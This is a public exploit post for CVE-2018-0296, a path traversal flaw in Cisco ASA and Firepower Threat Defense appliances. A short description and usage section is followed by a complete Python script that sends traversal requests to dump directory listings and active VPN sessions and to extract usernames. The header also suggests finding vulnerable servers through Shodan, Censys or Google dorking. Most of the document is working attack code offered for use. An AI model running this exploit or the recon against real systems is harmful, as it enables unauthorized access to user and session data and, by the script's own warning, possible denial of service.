Cisco Adaptive Security Appliance Path Traversal

`'''  
Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296)  
A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques.  
  
Vulnerable Products  
This vulnerability affects Cisco ASA Software and Cisco Firepower Threat Defense (FTD) Software that is running on the following Cisco products:  
  
3000 Series Industrial Security Appliance (ISA)  
ASA 1000V Cloud Firewall  
ASA 5500 Series Adaptive Security Appliances  
ASA 5500-X Series Next-Generation Firewalls  
ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers  
Adaptive Security Virtual Appliance (ASAv)  
Firepower 2100 Series Security Appliance  
Firepower 4100 Series Security Appliance  
Firepower 9300 ASA Security Module  
FTD Virtual (FTDv)  
Script usage  
Installation: git clone https://github.com/yassineaboukir/CVE-2018-0296.git  
Usage: python cisco_asa.py <URL>  
If the web server is vulnerable, the script will dump in a text file both the content of the current directory, files in +CSCOE+ and active sessions.  
  
Disclaimer: please note that due to the nature of the vulnerability disclosed to Cisco, this exploit could result in a DoS so test at your own risk.  
  
Bug Bounty Recon  
You can use Shodan, Censys or any other OSINT tools to enumerate vulnerable servers or simply google dork /+CSCOE+/logon.html. Figure it out :)  
  
References:  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180606-asaftd  
'''  
  
#!/usr/bin/env python  
  
import requests  
import sys  
import urlparse  
import os  
import re  
  
print("""  
_____ _____ _____ _____ _____ ___ _____ ___   
/ __ \_ _/ ___/ __ \ _ | / _ \ / ___|/ _ \   
| / \/ | | \ `--.| / \/ | | | / /_\ \\ `--./ /_\ \   
| | | | `--. \ | | | | | | _ | `--. \ _ |   
| \__/\_| |_/\__/ / \__/\ \_/ / | | | |/\__/ / | | |   
\____/\___/\____/ \____/\___/ \_| |_/\____/\_| |_/   
  
______ _ _ _____ _   
| ___ \ | | | | |_ _| | |  
| |_/ /_ _| |_| |__ | |_ __ __ ___ _____ _ __ ___ __ _| |  
| __/ _` | __| '_ \ | | '__/ _` \ \ / / _ \ '__/ __|/ _` | |  
| | | (_| | |_| | | | | | | | (_| |\ V / __/ | \__ \ (_| | |  
\_| \__,_|\__|_| |_| \_/_| \__,_| \_/ \___|_| |___/\__,_|_|  
  
CVE-2018-0296  
Script author: Yassine Aboukir(@yassineaboukir)  
""")  
  
requests.packages.urllib3.disable_warnings()  
  
url = sys.argv[1]  
  
regexSess = r"([0-9])\w+'"  
regexUser = r"(user:)\w+"  
  
dir_path = os.path.dirname(os.path.realpath(__file__))  
filelist_dir = "/+CSCOU+/../+CSCOE+/files/file_list.json?path=/"  
CSCOE_dir = "/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b"  
active_sessions = "/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/"  
logon = "/+CSCOE+/logon.html"  
  
try:  
is_cisco_asa = requests.get(urlparse.urljoin(url,logon), verify=False, allow_redirects=False)  
except requests.exceptions.RequestException as e:  
print(e)  
sys.exit(1)  
  
if "webvpnLang" in is_cisco_asa.cookies:  
try:  
filelist_r = requests.get(urlparse.urljoin(url,filelist_dir), verify=False)  
CSCOE_r = requests.get(urlparse.urljoin(url,CSCOE_dir), verify=False)  
active_sessions_r = requests.get(urlparse.urljoin(url,active_sessions), verify=False)  
  
except requests.exceptions.RequestException as e:  
print(e)  
sys.exit(1)  
  
if str(filelist_r.status_code) == "200":  
with open(urlparse.urlparse(url).hostname+".txt", "w") as cisco_dump:  
cisco_dump.write("======= Directory Index =========\n {}\n ======== +CSCEO+ Directory ========\n {}\n ======= Active sessions =========\n {}\n ======= Active Users =========\n".format(filelist_r.text, CSCOE_r.text, active_sessions_r.text))  
  
''' Extraccion de usuarios'''  
matches_sess = re.finditer(regexSess, active_sessions_r.text)  
for match_sess in matches_sess:  
active_users_r = requests.get(urlparse.urljoin(url,"/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/"+str(match_sess.group().strip("'"))), verify=False)  
matches_user = re.finditer(regexUser, active_users_r.text)  
  
for match_user in matches_user:  
cisco_dump.write(match_user.group()+"\n")  
''' Fin Extraccion de usuarios'''  
  
print("Vulnerable! Check the text dump saved in {}".format(dir_path))  
else: print("Not vulnerable!")  
  
else:   
print("This is not Cisco ASA! e.g: https://vpn.example.com/+CSCOE+/logon.html\n")  
sys.exit(1)  
  
`